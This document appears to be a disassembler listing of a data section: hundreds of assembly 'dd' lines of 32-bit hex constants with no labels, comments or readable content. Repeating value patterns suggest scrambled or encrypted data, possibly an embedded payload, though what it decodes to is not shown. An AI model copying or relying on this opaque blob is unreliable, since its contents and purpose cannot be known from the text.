dd 485BA601h, 246C2C39h, 0B9C51CBh, 0F058E2BBh, 0A05ACB82h
dd 0C46F1F9Ah, 4E4EBFD6h, 0C2DE0A5Bh, 0FCE0B119h, 8FD947Ch
dd 0B5F8DF31h, 881C3435h, 4262ED90h, 0CCDEAFBFh, 15075822h
dd 0C1D129CFh, 57844CF8h, 0DC326C05h, 0F010E29Eh, 0F1F7C220h
dd 0AB0919EDh, 0FF6EAA80h, 0D4A6585Ah, 16D03E11h, 41F47238h
dd 382E9BECh, 0CE9BBF34h, 0D88D45F7h, 0E7E30306h, 63538043h
dd 24F19BDEh, 4470B150h, 0D2B458BDh, 277C2EAAh, 969C551Bh
dd 0B2B715B8h, 0E94AA4F2h, 596F418Eh, 9DA0FC58h, 0EECFF22Ch
dd 61E1A107h, 6A104BE0h, 5AF41F62h, 0E504B460h, 0FD9A139Ch
dd 6DB8AEA2h, 87435A38h, 0AD492DFCh, 0C45B4B74h, 2E021C76h
dd 0D2D0829Fh, 19778220h, 0B80899EDh, 0DD6FAA80h, 60A4585Ah
dd 6ECC3E11h, 41EC7239h, 283E9BEBh, 0FEFBBF37h, 55CD45F4h
dd 16630305h, 82538041h, 4AF19BDAh, 2A70B158h, 3AB458ADh
dd 0EC7C2E8Ah, 569C555Bh, 12B71438h, 894AA5F2h, 596F438Fh
dd 2CA0F85Eh, 0EECFFA20h, 61E1D11Fh, 6A102B90h, 4AF45F02h
dd 150535A0h, 989B131Ch, 7DBAADA5h, 775F5C38h, 5D5121FCh
dd 244B4374h, 0DE620C76h, 2290A29Fh, 0E8F64220h, 490819EDh
dd 336CAA80h, 8C9A585Ah, 86C83E11h, 0A1E47239h, 0F84E9BEBh
dd 4EDBBF37h, 240D45F4h, 16E30304h, 7D538047h, 58F19BD6h
dd 2E70B140h, 0AAB458DDh, 0DC7C2EEAh, 369C549Bh, 5DB714B8h
dd 94AA6F3h, 826F4588h, 88A0F45Ch, 4ACFE224h, 0BAE1C117h
dd 6A100B80h, 0BAF59F22h, 0DB05B5E0h, 9898109Ch, 7DA4ACA5h
dd 775B5E38h, 5D5925FCh, 853B5B74h, 6F423C76h, 925F429Fh
dd 59760220h, 0C70B99EDh, 806DAA80h, 3998585Ah, 3FC43E11h
dd 201C7239h, 295E9BEBh, 3C3BBF37h, 154D45F5h, 50630303h
dd 0CD538045h, 0FFF19BD2h, 0D270B148h, 0AB458CDh, 0CC7C2ECAh
dd 69C54DBh, 92B71738h, 894AA7F3h, 596F4789h, 2CA0F052h
dd 0EECFEA38h, 61E1F1EFh, 6A11EBB0h, 4AF5D8C2h, 0E8063520h
dd 0DA99101Ch, 2F9586FDh, 1447504Bh, 3D31398Fh, 523B5307h
dd 0B5B22C05h, 510F62ECh, 85E6C253h, 7D1B199Eh, 2F06C699h
dd 0A58E5865h, 9A99702Dh, 0AC47726Eh, 8E2BD4D6h, 0AF0BBF60h
dd 0B99D4586h, 830CFC8Eh, 1D438038h, 2EE19BBDh, 0B460B143h
dd 60A4588Eh, 0DE6C2F59h, 948C5468h, 30A717CAh, 6B5AA09Fh
dd 3B7F49F9h, 4EB0EC23h, 8CDFD24Fh, 3F1E194h, 801CBD3h
dd 28E51891h, 7716B513h, 0FAF611EFh, 1FB0AAD6h, 0EA43524Bh
dd 3FC6C270h, 1B0B6B07h, 0BD82DC8Ch, 41CF02ECh, 85668253h
dd 618999Eh, 4773BAF3h, 0F28C4829h, 0CCEC2E62h, 0A31C624Ah
dd 0A6EAB99h, 5F6B8F45h, 0D6DD5581h, 92731372h, 0C43903Ah
dd 30E18BB9h, 5860A14Bh, 68A4489Fh, 0DE6C3F07h, 0A48C4414h
dd 60A70672h, 6B5AE1AFh, 0BB7FCB18h, 0CEB068E5h, 0CDF5AC3h
dd 83F28E8Ch, 88011523h, 0A8E624F1h, 0F717C2D3h, 0F9F7026Fh
dd 1CB28AD6h, 17BF974Bh, 3C21B28Fh, 551C6007h, 3DF44C05h
dd 0C18BA2ECh, 4E9C253h, 1D2A999Eh, 5350A0F3h, 0D4425229h
dd 0CC683462h, 88147A4Ah, 109E9398h, 234BB745h, 451D4D81h
dd 7AF30B73h, 0F343883Dh, 0EAE193BAh, 0C460B948h, 78A4509Ch
dd 7E6C2705h, 548CD410h, 30A7967Ah, 6D5A21BEh, 3D7F4D47h
dd 48B0EEA7h, 88DFDD47h, 7F20B84h, 0C019333h, 2CE6A4D1h
dd 73174E93h, 0FEF76AEFh, 1BB2ECD6h, 10BFD24Bh, 3B20318Fh
dd 521D7F07h, 3DF6F805h, 0C19742ECh, 94F18253h, 173D999Eh
dd 5931AAF3h, 0DE005829h
dd 0C5E43E62h, 812C724Ah, 68E9B98h, 37ABBF45h, 555D4581h
dd 61730373h, 0DA43803Dh, 0A4E19BBAh, 4060B148h, 88A4589Dh
dd 0EE6C2F02h, 0F48C5412h, 0F0A7167Eh, 0EB5AA1B6h, 3B7F4B56h
dd 4EB0E979h, 8CDFDB3Bh, 3F20C3Ch, 8019603h, 28E6A231h
dd 77174E53h, 0FAF7666Fh, 1FB2C7D6h, 14BE084Bh, 3F20898Fh
dd 561EF307h, 0BDF7EC05h, 4195E2ECh, 84FDC253h, 1745199Eh
dd 5926AAF3h, 0DFE65829h, 0C5A03E62h, 0BEA4724Ah, 7BE9B98h
dd 318BBF45h, 599D4581h, 59F30373h, 0C943803Dh, 86E19BBAh
dd 460B148h, 0A4589Dh, 1E6C2F03h, 148C541Dh, 30A7167Dh
dd 6B5AA1B5h, 3B7F4B55h, 4EB0E97Bh, 8CDFDB3Fh, 3F20C34h
dd 8019613h, 28E6A211h, 77174E13h, 0FAF767EFh, 1FB2C6D6h
dd 14BE0A4Bh, 3F208D8Fh, 561E8B07h, 0BDF79C05h, 419582ECh
dd 84FD8253h, 0C044999Eh, 5E37AA63h, 0D8F458BDh, 0C2AC3EF6h
dd 69AC72DEh, 0D0BE9B08h, 0E6FBBFD5h, 8ECD4511h, 5F6303E3h
dd 945380A9h, 53F19B37h, 0CF70B1C5h, 0CFB4580Dh, 0D97C2F93h
dd 339C548Dh, 0BBB716E9h, 0EC4AA138h, 3C6F4BC0h, 49A0E9E9h
dd 8BCFDBA7h, 9AE20CB8h, 6B1196F2h, 0F9F6A2FEh, 70074F41h
dd 0FDE767FBh, 30A2C542h, 13AE0CD8h, 5C30811Bh, 510E8388h
dd 0BAE78C91h, 2285A278h, 0ACEC42DCh, 7B286CF0h, 7924AADAh
dd 0FFDA7809h, 0E5981E42h, 9E94526Ah, 27FEBBB8h, 11EB9F65h
dd 783D65A1h, 78D32353h, 0B763A01Dh, 0AAD1AB8Ah, 2C508178h
dd 209468ADh, 0E5C1F33h, 64BC642Dh, 8097264Dh, 5B6A9184h
dd 0B4F7B63h, 4EB0E97Fh, 8CDFDB37h, 2F20C24h, 0A019673h
dd 28E6A251h, 76F74F93h, 0F917660Fh, 1A52C036h, 135E08ABh
dd 36C08D6Fh, 5DFE91E7h, 0B017B0E5h, 4E744C0Ch, 951C12B3h
dd 4A78B7Eh, 4CC5BE13h, 0C8184EC9h, 0DC542682h, 0A52C68AAh
dd 1A2E8778h, 2FCBA1A5h, 79BD6561h, 74932193h, 93A3A4DDh
dd 0BB01BD5Ah, 398099A8h, 344727Dh, 38C03E3h, 5B6C7AFDh
dd 0C147269Dh, 0D8BA9354h, 0E9F7FB2h, 7950DF91h, 0B53FE3CBh
dd 381236BCh, 35E1AAA3h, 17069D51h, 36F70FB3h, 0B917268Fh
dd 5A528736h, 535E46ABh, 76C0D16Fh, 1DFED9E7h, 0F017E0E5h
dd 0E742C0Ch, 0D51C92B3h, 44A74B7Eh, 0CFAFE13h, 881E0EC9h
dd 9C506682h, 0E52428AAh, 5A1EC778h, 6FEBE1A5h, 397D2561h
dd 34136193h, 0D0A3E4DDh, 0F901FD5Ah, 7D80D9A8h, 4B44327Dh
dd 338C43E3h, 0FB6C3AFDh, 4147669Ch, 18BAD353h, 4E9F3FB1h
dd 39509F93h, 0F53FA3CFh, 781276B4h, 75E1EAB3h, 5706DD71h
dd 0F6F7CFF3h, 7917E70Fh, 9A524636h, 935E84ABh, 0B6C0156Fh
dd 0DDFE21E7h, 3008D0E5h, 0CE748C0Ch, 151C12B3h, 84A60B7Eh
dd 0CCFB3E13h, 481CCEC9h, 5CACA682h, 253CE8AAh, 9A0E0778h
dd 0AF8B21A5h, 0F93DE561h, 0F593A193h, 11A324DDh, 37013D5Ah
dd 818019A8h, 9344F27Dh, 0E38C83E3h, 1B6CFAFDh, 0C147A69Ch
dd 58BA1353h, 8E9FFFB0h, 0F9505F95h, 353F63C3h, 0B812B6ACh
dd 0B5E12D43h, 97061D11h, 0B6F78C33h, 3917A78Fh, 0DA520536h
dd 0D35EC2ABh, 0F6C0596Fh, 9DFE69E7h, 700880E5h, 8E74EC0Ch
dd 551F92B3h, 0C4A6CB7Eh, 8CF87E13h, 8128EC9h, 1CA8E682h
dd 6534A8AAh, 0D9FE4778h, 0EFAB61A5h, 0BEFDA561h, 0B513E193h
dd 56A364DDh, 75017D5Ah, 0C58059A8h, 0DB44B27Dh, 938CC3E3h
dd 3B6CBAFDh, 4147E69Ch, 98BA5352h, 0CE9FBFBFh, 0B9501F97h
dd 753F23C7h, 0F812F6A4h, 0F5E16D53h, 0D7065D31h, 5F174C73h
dd 8FF70CEFh, 73B2ACD6h, 14BE2F4Bh, 0F20958Fh, 622D8936h
dd 85DF4A30h, 22F6A3D5h, 84996737h, 247BA8AEh, 6E2F9FC7h
dd 9DB16111h, 83017A21h, 0BEEC724Ah, 40E9B98h, 30EB9B45h
dd 5F5D4581h, 55335A73h, 0B243803Dh, 94A15832h, 0A460B148h
dd 48E5CF4Ah, 175BCF83h, 0E3CF15DEh, 45121312h, 1E1C320Ah
dd 389674A7h, 7CFDD126h, 0C426EBC6h, 3FA88E0Bh, 0D57EE23Ch
dd 2893B67Eh, 0F3174C53h, 0FAB6F5B8h, 1FB2CFD6h, 1481E84Bh
dd 3F20A98Fh, 661EB307h, 89DB5E34h, 79A3D4D9h, 0C7BD836Ah
dd 170F5CDAh, 6A2C9BC3h, 0E8C06D1Dh, 0A721075Ah, 0D8811629h
dd 4270D298h, 56E5D645h, 11DC0B81h, 3B926D73h, 0F943803Dh
dd 0F5F19B14h, 1B70B1E6h, 23B45833h, 0B47C2FADh, 779C54B2h
dd 6B716CDh, 84AA11Fh, 586F4BF3h, 1FA0E9C5h, 0ACCFDB71h
dd 77D22159h, 616CE3F6h, 4192C27Fh, 771D2B7Dh, 94900A9Ch
dd 3C92A2B7h, 66DB6E4Bh, 5E4EC4E2h, 38712273h, 0CC8D6E25h
dd 35E7E799h, 0F291EB53h, 7321F5FFh, 366BD9D3h, 0BA93395Bh
dd 0A63F5F42h, 0BE8F012Fh, 615AF5F1h, 409ECD37h, 31B22CF5h
dd 221D6A73h, 0D42AEC5Ch, 0D99FE9Ah, 5914C42Ah, 78C134F9h
dd 0EB08406Ch, 5DFE3504h, 15CA7E67h, 0CB39C8A5h, 540D38F9h
dd 2CD1E99Fh, 8CABAABCh, 3F20A6Ch, 8019DE3h, 28E6AB71h
dd 47175DD3h, 0FAF7436Fh, 1FB30DF8h, 14BE9C4Bh, 3F23A18Fh
dd 49E04307h, 0BDEC0C05h, 419CA2ECh, 848E4253h, 1768199Eh
dd 58DCAAF3h, 0DF4A5829h, 0CA583E62h, 0BCF4724Ah, 5E9B98h
dd 38CBBF45h, 6E1D4581h, 34F30373h, 7F43803Dh, 0EAE19BBBh
dd 3C60B14Eh, 50A45899h, 0BE6C2F0Bh, 548C540Ch, 0B0A71603h
dd 6B5AA1F0h, 3B7F4ADBh, 4EB0EA6Fh, 8CDFD9D7h, 3F20864h
dd 80199F3h, 28E6B351h, 77176D93h, 0FAF4A0EFh, 1FB34CD6h
dd 14BD1E4Bh, 3F22A58Fh, 49E25B07h, 0BDE03C05h, 466342ECh
dd 849E0253h, 108B999Eh, 29DAAF3h, 83930372h, 900F6539h
dd 0BA0C7211h, 0C4E9B98h, 32BBF45h, 7E5D4581h, 13730373h
dd 3E43803Dh, 6CE19BBBh, 3060B14Fh, 68A45897h, 0AE6C2F17h
dd 748C57F4h, 0F0A71633h, 0EB5AA210h, 3B7F4A1Ah, 4EB0EAE1h
dd 8CDFDECBh, 0BF2069Ch, 180185C3h, 8E684B1h, 37177D53h
dd 7AF4806Fh, 1FB38BD6h, 14BD904Ah, 3F2DB98Dh, 49E45303h
dd 0BDE42C05h, 666B62ECh, 84B75156h, 10AB199Eh, 5852AAF3h
dd 304E5829h, 18403F67h, 14734Fh, 0A86E9A9Dh, 0B1BBE40h
dd 0E9D4581h, 0F3F30373h, 0FD43803Ch, 0EEE19BB4h, 3460B14Ch
dd 60A45895h, 0DE6C2F13h, 948C57FCh, 30A71622h, 6B5AA24Fh
dd 3B7F4A59h, 4EB0EB63h, 8CDFDFCFh, 3F20494h, 80181D3h
dd 28E68C91h, 77178D13h, 0FAF4E1EFh, 1FB3CAD6h, 14BC124Bh
dd 3F2CBD8Fh, 49E66B07h, 0BDD8DC05h, 467302ECh, 84BE8253h
dd 10CA999Eh, 5913AAF3h, 0D9CC5829h, 416C3E62h, 3F0C72BBh
dd 0FC7E9B69h, 9B7BBFB4h, 96CD4570h, 5A630382h, 0D45380CDh
dd 60F19B45h, 0C860B14Dh, 78A45892h, 0CE6C2F11h, 0B48C57F8h
dd 70A7162Ah, 0EB5AA25Fh, 3B7F4A78h, 4EB0EB25h, 8CDFDC43h
dd 1F2058Ch, 901832Bh, 0FCE688F1h, 0A2079A22h, 2EE4D19Eh
dd 0CBAC2927h, 0C0AC54BAh, 0EB3F317Eh, 0FDF763F6h, 0BDCACCF4h
dd 467F22ECh, 84414253h, 10DA199Eh, 5BF0AAF3h, 0D9825829h
dd 0CEE83E62h, 0B714724Ah, 729E9B98h, 1F4BBF45h, 271D4581h
dd 0C0F3037Bh, 6B43803Ch, 62F19B44h, 0BC70B1BCh, 80B45863h
dd 0E7C2FEFh, 0F49C5714h, 0B0B71620h, 6B4AA29Ch, 3B7F4DA7h
dd 4EB0EBE7h, 8CDFDCC7h, 3F20284h, 8018D33h, 28E694D1h
dd 7717A293h, 0FAF43EEFh, 1FBC08D6h, 54BC964Bh, 0B33FB57Eh
dd 91F87BF6h, 0BDCCFCF4h, 467BC2ECh, 84490253h, 10ED999Eh
dd 5BD1AAF3h, 0D9405829h
dd 0CE643E62h, 0B42C724Ah, 708E9B98h, 1BABBF45h, 2D5D4581h
dd 0B1730373h, 7A43803Ch, 0E4E19BB5h, 0C060B152h, 88A45890h
dd 0EE6C2F1Ch, 0F48C57E6h, 0F0A716D6h, 0EB5AA266h, 3B7F4DB6h
dd 4EB0EBB9h, 8CDFDCBBh, 3F2033Ch, 8018C03h, 28E69631h
dd 7717A653h, 0FAF4366Fh, 1FBC67D6h, 14BCC84Bh, 3F2E098Fh
dd 49E9F307h, 0BDDDEC05h, 4679E2ECh, 8455C253h, 10F5199Eh
dd 5BC6AAF3h, 0D9265829h, 0CE203E62h, 0B5A4724Ah, 71BE9B98h
dd 0E58BBF45h, 319D4580h, 0A9F3037Dh, 69438020h, 0C6E19A4Dh
dd 8460B162h, 0A45B70h, 1E6C2FDDh, 148C5761h, 30A711D5h
dd 6B5AAC65h, 3B7F51B5h, 4EB0E3BBh, 8CDFCCBFh, 3F22334h
dd 8014C13h, 28E61611h, 7718A613h, 0FAF237EFh, 1FB866D6h
dd 14B4CA4Bh, 3F1E0D8Fh, 49C98B07h, 0BD1D9C05h, 46F982ECh
dd 87558253h, 12F4999Eh, 5FC7AAF3h, 0D1245829h, 0BE3C3E62h
dd 55BC724Ah, 0B1AE9B99h, 65EBBF4Ah, 31DD4583h, 0A873037Fh
dd 68438024h, 0D8E19A45h, 9860B172h, 18A45B50h, 0E6C2F9Dh
dd 348C56E1h, 70A710D5h, 0EB5AAE65h, 3B7F55B4h, 4EB0DBBDh
dd 8CDF3CB3h, 3F2432Ch, 8010C63h, 28E79671h, 7719A7D3h
dd 0FAF0376Fh, 1F8465D6h, 14ACCC4Bh, 3F0E018Fh, 49A98307h
dd 0BD5D8C05h, 4779A2ECh, 86544253h, 1CF4199Eh, 23C4AAF3h
dd 0C93A5829h, 0AE383E62h, 75B4724Ah, 0F1DE9B99h, 0E5CBBF4Ah
dd 301D4582h, 0A8F30379h, 57438028h, 0DAE19A5Dh, 9C60B182h
dd 10A45B30h, 3E6C285Dh, 548C5661h, 0B0A713D5h, 6B5AA864h
dd 3B7F59B3h, 4EB0D3BFh, 8CDF2CB7h, 3F26324h, 81ECC73h
dd 28E71651h, 771AA793h, 0FAFE34EFh, 1F8064D6h, 14A4CE4Bh
dd 3FFE058Fh, 49899B07h, 0BE9DBC05h, 47F842ECh, 81540253h
dd 1EF7999Eh, 27C5AAF3h, 0C1385829h, 9E343E62h, 15CC724Ah
dd 31CE9B99h, 642BBF4Bh, 305D459Dh, 0A773037Bh, 5643802Ch
dd 0DCE19A55h, 9060B192h, 28A45B10h, 2E6C281Dh, 748C59E1h
dd 0F0A712D5h, 0EB5AAA64h, 3B7F5DB2h, 4EB0CBB1h, 8CDF1CABh
dd 3F2835Ch, 81E8C43h, 28E097B1h, 771BA753h, 0FAFC346Fh
dd 1F8C63D6h, 149CC04Bh, 3FEE198Fh, 49699307h, 0BEDDAC05h
dd 447862ECh, 8054C253h, 18F7199Eh, 2BBAAAF3h, 393E5829h
dd 8E303E63h, 35C4724Ch, 71FE9B95h, 0E40BBF53h, 309D45ECh
dd 0A7F30325h, 554381D0h, 0DEE19AEDh, 9460B2A2h, 20A45DF0h
dd 5E6C24DDh, 948C4161h, 30A73DD4h, 6B5B7463h, 3B7EE1B1h
dd 4EB043B3h, 8CDC0CAFh, 3ECA354h, 81A4C53h, 28E81791h
dd 776CA713h, 0FADA35EFh, 1E4862D6h, 1414C24Bh, 20DE1D8Fh
dd 4B49AB07h, 0BA1E5C05h, 4CF802ECh, 0B3548253h, 7AF6999Eh
dd 0EFBBAAF3h, 0B13C5828h, 7FCC3E64h, 0D5DC724Fh, 0B1EE9B96h
dd 646BBF50h, 30DD45EFh, 0A6730327h, 544381D4h, 0D0E19AE5h
dd 0A860B2B2h, 38A45DD0h, 4E6C249Dh, 0B48C40E1h, 70A73CD4h
dd 0EB5B7663h, 3B7EE5B0h, 4EB03BB5h, 8CDC7CA3h, 3ECC34Ch
dd 81A0FA3h, 28E997F1h, 776DA4D3h, 0FAD8356Fh, 1E5461D6h
dd 140CC44Bh, 20CE118Fh, 4B29A307h, 0BA5E4C05h, 4D7822ECh
dd 0B2574253h, 64F6199Eh, 0F3B8AAF3h, 0A9325828h, 6FC83E64h
dd 0F5D4724Fh, 0FE1E9B96h, 0E44BBF50h, 371D45EEh, 0A6F30321h
dd 534381D8h, 0D2E19AFDh, 0AC60B2C2h, 30A45DB0h, 7E6C255Dh
dd 0D48C4061h, 0B0A73FD4h, 6B5B7062h, 3B7EE9BFh, 4EB033B7h
dd 8CDC6CA7h, 3ECE344h, 81BCFB3h, 28E917D1h, 776EA493h
dd 0FAC632EFh, 1E5060D6h, 0EB04C64Bh, 2541EA70h, 40C9BB07h
dd 0A69E7C05h, 4938C2ECh, 3B570253h, 6239999Eh, 7AB9AAF3h
dd 0A9F05828h, 0D1C43E64h, 9D2C724Fh, 0B10E9B96h, 6C6BBF51h
dd 0A75D45E9h, 0ADB30323h, 0C34381DCh, 0DC219AF5h, 3260B2D2h
dd 40645D90h, 0FD6C251Dh, 0FC4C43E1h, 0F0A73ED4h, 0EB5B7262h
dd 3B7EEDBEh, 4EB02BA9h, 8CDC5D5Bh, 3ED037Ch, 81B8F83h
dd 28EA9731h, 776FA457h, 0FAC4326Fh, 1E5C6FD6h, 147CD84Bh
dd 20AE298Fh, 4AE9B307h, 0BBDE6C05h, 7278E2ECh, 0AC57C253h
dd 60F9199Eh, 0FBBEAAF3h, 99365828h, 4FC03E64h, 0B5E4724Fh
dd 7E3E9B96h, 0E48BBF51h, 379D45E8h, 0A5F3032Dh, 514381C0h
dd 0D6E19A8Dh, 0A460B2E2h, 40A45C70h, 9E6C25DDh, 148C4360h
dd 30A739DBh, 6B5B7C61h, 3B7EF1BDh, 4EB023ABh, 8CDC4D5Fh
dd 3ED2374h, 81B4F93h, 28EA1711h, 7770A413h, 0FAC233EFh
dd 1E586ED6h, 1474DA4Bh, 209E2D8Fh, 4AC94B07h, 0BB1E1C05h
dd 72F882ECh, 0AF578253h, 62F8999Eh, 0FFBFAAF3h, 91345828h
dd 1FDC3E64h, 55EC72A8h, 0BE2E9B97h, 64EBBF56h, 37DD45EBh
dd 0A473032Fh, 504381C4h, 0A8E19A85h, 0B860B2F2h, 58A45C50h
dd 8E6C259Dh, 348C42E0h, 70A738DBh, 0EB5B7E61h, 3B7EF5BCh
dd 4EB01BADh, 8CDDBD53h, 3ED436Ch, 81B0FE3h, 28EB9771h
dd 7771A5D3h, 0FAC0336Fh, 1E246DD6h, 146CDC4Bh, 208E218Fh
dd 4AA94307h, 0BB5E0C05h, 7378A2ECh, 0AE564253h, 6CF8199Eh
dd 0C3BCAAF3h, 890A5828h, 2FD83E64h, 75F4724Fh, 0FE5E9B97h
dd 0E4CBBF56h, 361D45EAh, 0A4F30329h, 5F4381C8h, 0AAE19A9Dh
dd 0BC60B302h, 50A45C30h, 0BE6C265Dh, 548C4260h, 0B0A73BDBh
dd 6B5B7860h, 3B7EF9BBh, 4EB013AFh, 8CDDAD57h, 3ED6364h
dd 818CFF3h, 28EB1751h, 7772A593h, 0FACE30EFh, 1E206CD6h
dd 1464DE4Bh, 217E258Fh, 4A895B07h, 0B49E3C05h, 73C742ECh
dd 0A9560253h, 6EFB999Eh, 0C7BDAAF3h, 81085828h, 1FD43E64h
dd 150C724Fh, 3E4E9B97h, 672BBF57h, 365D45E5h, 0A373032Bh
dd 5E4381CCh, 0ACE19A95h, 0B060B312h, 68A45C10h, 0AE6C261Dh
dd 748C45E0h, 0F0A73ADBh, 0EB5B7A60h, 3B7EFDBAh, 4EB00BA1h
dd 8CDD9D4Bh, 53ED839Ch, 8188FC3h, 129490B1h, 7763A5B4h
dd 0F9CC306Fh, 82C6BD6h, 144CD0A1h, 216E398Fh, 4A695307h
dd 0B4DE2C05h, 704762ECh, 0A856C253h, 68FB199Eh, 0CBB2AAF3h
dd 0F90E5828h, 0FD03E64h, 3504724Fh, 7E7E9B97h, 0E70BBF57h
dd 369D45E4h, 0A3F30335h, 4B4381B0h, 0AEF19A47h, 0B460B322h
dd 60A45CF0h, 0DE6C26DDh, 948C4560h, 30A735DAh, 6B5B647Fh
dd 3B7EC1B9h, 4EB003A3h, 8CDD8D4Fh, 3EDA394h, 8184FD3h
dd 28941091h, 7774A513h, 0FACA31EFh, 8286AD6h, 1444D2A1h
dd 215E3D8Fh, 4A496B07h, 0B41EDC05h, 70C702ECh, 0AB568253h
dd 6AFA999Eh, 0CFB3AAF3h, 0F10C5828h, 0FFEC3E64h, 0D51C724Eh
dd 0BE6E9B90h, 676BBF54h, 36DD45E7h, 0A2730337h, 4A4381B4h
dd 0A0F19A4Fh, 4860B332h, 78A45CD1h, 0CE6C269Bh, 0B48C44ECh
dd 70A734C2h, 0EB5B668Fh, 3B7EC5D8h, 4EB3F465h, 8CDDFDC3h
dd 3EDC08Ch, 8180923h, 28959CF1h, 7775B2D3h, 0FAC8216Fh
dd 823449D6h, 885B14A6h, 0BD5EB162h, 0D63A63EAh, 2840CCE8h
dd 0ED532201h, 364942BEh, 2B1A1973h, 0ACEFD58Ch, 95BD2757h
dd 9017411Bh, 6F147231h, 608E9B7Dh, 7F5BBFB9h, 3D0D450Bh
dd 92F30331h, 3B3C71B8h, 62E19ABDh, 0CC1F4B43h, 70A45C8Eh
dd 0FE50B759h, 0D48C4468h, 0B09977CAh, 6B5B609Eh, 3B3EFB07h
dd 4EB3EC27h, 0CDDD247h, 3EDE17Eh, 819CB33h, 0E69518D1h
dd 1B76BB93h, 53360E13h, 1E30A82Dh, 1443564Bh, 0F39358Fh
dd 0DE0B7A05h, 4592FCF8h, 71CFC217h, 0A5610253h, 0CE1D999Eh
dd 0B71ABF1h, 0B28058D5h
dd 0DCE43E98h, 932C724Eh, 828E9B90h, 53ABBE57h, 9D5D451Fh
dd 817303CEh, 1A4381BAh, 30E19AB9h, 460B248h, 88A45C61h
dd 0EE6C2706h, 0F48C442Ah, 0F0A7364Eh, 0EB5B6196h, 637ECB16h
dd 26B3E807h, 8DDDAC5h, 9FEE0EC2h, 0BC19AAFDh, 0EC955ACFh
dd 0A3773EADh, 11370691h, 0E6328728h, 25BF88B5h, 3F218970h
dd 641CF3F8h, 0F5F3ECFAh, 258DE213h, 0C6EDC2ACh, 23251961h
dd 0A566AA0Ch, 4C6658D7h, 66A03E9Bh, 30A472B1h, 0D9BE9B6Fh
dd 0FB8BBFAAh, 0A99D451Eh, 89F303CCh, 0D438142h, 16E19BBBh
dd 2260B24Fh, 3CA45D97h, 566C2617h, 408C46F5h, 54A7370Dh
dd 1B5B6315h, 0BD7ECB15h, 0EEB3EBFBh, 3EDDDF3Fh, 23EE0734h
dd 38199B10h, 1696BB12h, 39777F10h, 0A53486ECh, 723387D5h
dd 51BD8B48h, 0A72D8C8Ch, 0D9E48A04h, 17E39D06h, 0D86D83EFh
dd 18AD8350h, 98A4989Dh, 0C67ABF0h, 3C64592Bh, 34BC3F67h
dd 0B2BC734Dh, 1DAE9A94h, 25EBBE51h, 3FDD44E5h, 0BC730237h
dd 5A4380B8h, 76E19BB1h, 9060B257h, 82A45E6Bh, 0A66C2623h
dd 888C46D1h, 0BEA737C9h, 0B5B6391h, 0C37ECC10h, 5CB3E5F9h
dd 0AEDDC336h, 31EE3F29h, 36198B66h, 66969B74h, 1177BED6h
dd 8334066Ah, 9A3C84D3h, 2BBB8D4Eh, 0FD29818Fh, 0A3EC8207h
dd 0B5D38D05h, 784DA3EDh, 0BA6C4352h, 7E24189Fh, 9564ABF2h
dd 0B07A5929h, 0B0B83F65h, 3CB4734Fh, 0D9DE9A91h, 51CBBE54h
dd 181D44E1h, 90F3023Dh, 0F4380BEh, 10E19BB7h, 660B253h
dd 10A45E69h, 4D6C272Fh, 200C47C5h, 0A72736EDh, 7EDB62D4h
dd 38FECC93h, 5C33E5FFh, 805DC037h, 0A6E3A24h, 0C997273h
dd 2A16EA51h, 7AF7DF93h, 0FAB444EFh, 11BD04D6h, 3B3A8E4Bh
dd 32AB858Fh, 47709B07h, 814BBC05h, 70DC42ECh, 9D8C0253h
dd 5BE7999Eh, 0CE65AAF3h, 0CAF85828h, 0DD343E64h, 0AC4C724Eh
dd 0C7CE9B90h, 0F82BBE57h, 2E5D45E0h, 0E173023Eh, 9C4380BDh
dd 1CE19BB5h, 1060B254h, 70A45F67h, 466C27C9h, 0F08C474Bh
dd 6CA73673h, 5F5B63EAh, 0FF7ECCECh, 9AB3E60Fh, 66DDC6D5h
dd 0FBEE36A2h, 6197ABDh, 3696FB4Eh, 5977FFACh, 0BB358490h
dd 4A3D8329h, 49B980B4h, 55159970h, 31F493F8h, 27C3ACFAh
dd 0D42C6213h, 142CC2ACh, 93A71961h, 85AAA0Ch, 347E58D7h
dd 40B03E9Bh, 0ACC472B1h, 7BFE9A90h, 0EE0BBE55h, 0B49D44E0h
dd 0BFF3023Ch, 0A14380BEh, 7AE19BB0h, 6460B255h, 0A6A45E63h
dd 0FE6C263Fh, 268C46A5h, 10A737ACh, 5B5B6250h, 57ECE92h
dd 0B3E6F0h, 0D2DDC52Ch, 6FEE3357h, 72196350h, 0AE96CA92h
dd 0E3781E10h, 5935C4ECh, 0B03E03D5h, 97B88348h, 0E9179C8Ch
dd 99F8AA04h, 513C5D06h, 8A3C03EFh, 0ADCC8350h, 47E6989Ah
dd 0F1DBABF7h, 0E37C592Ch, 0F24C3F60h, 0F6DC734Ah, 3DEE9A94h
dd 506BBE51h, 32DD44E4h, 1E730238h, 0C84380BAh, 0DEE19BB5h
dd 0C860B25Fh, 0C0A45E7Bh, 5C6C26C3h, 968C4690h, 42A73049h
dd 0D55B6296h, 757ECE15h, 28B3E1F0h, 0F4DDCB26h, 87EE2F49h
dd 81954A6h, 0F496DBF1h, 99783DD3h, 0FB35046Fh, 103E80D7h
dd 35B7854Ah, 0F11908Eh, 3FCA206h, 0DF344D04h, 0A0C23EDh
dd 2BEF4352h, 0F326189Fh, 6558ABF2h, 6725929h, 5C483F65h
dd 58D4734Fh, 521E9A91h, 0B24BBE57h, 4F1D44E2h, 5F3033Dh
dd 87C381A1h, 5619AB2h, 39E0B359h, 33245F7Bh, 6CEC27CFh
dd 0D80C4785h, 0B927316Ch, 6FDB63D2h, 39FECE9Fh, 4333E1F7h
dd 8D5DC827h, 0C6E2A44h, 18995DB3h, 3B162BD1h, 7DF85C93h
dd 0CFB542EFh, 18BF00D6h, 1236864Bh, 2A93958Fh, 5940BB07h
dd 0A4AC7C05h, 199CC2ECh, 0A70F0253h, 0F569999Eh, 0DCD9ABF1h
dd 11705828h, 6C443F66h, 0B6EC734Ch, 400E9A93h, 0B8ABBE58h
dd 6F5D45FCh, 411645C5h, 1920E8C5h, 7A94F610h, 2060B3EBh
dd 21CA16F7h, 20D49A3h, 0B7E9331Ch, 99D3447Eh, 0B8373571h
dd 520ABD7Bh, 4EB3AC86h, 0F8B34BDBh, 71ADD419h, 6B7F31EAh
dd 4DC35750h, 18150830h, 0FB3A8201h, 7F6AC3D6h, 59D6FD3Dh
dd 42B4DDE6h, 2817DF66h, 0D94D1866h, 74ECE282h, 0D7CA8553h
dd 12CD6DCDh, 0C03AC492h, 3076584Dh, 0C257965h, 0B9871D0Dh
dd 2557CFFEh, 888BBF3Ch, 7BF802F8h, 80976D80h, 9805E4ECh
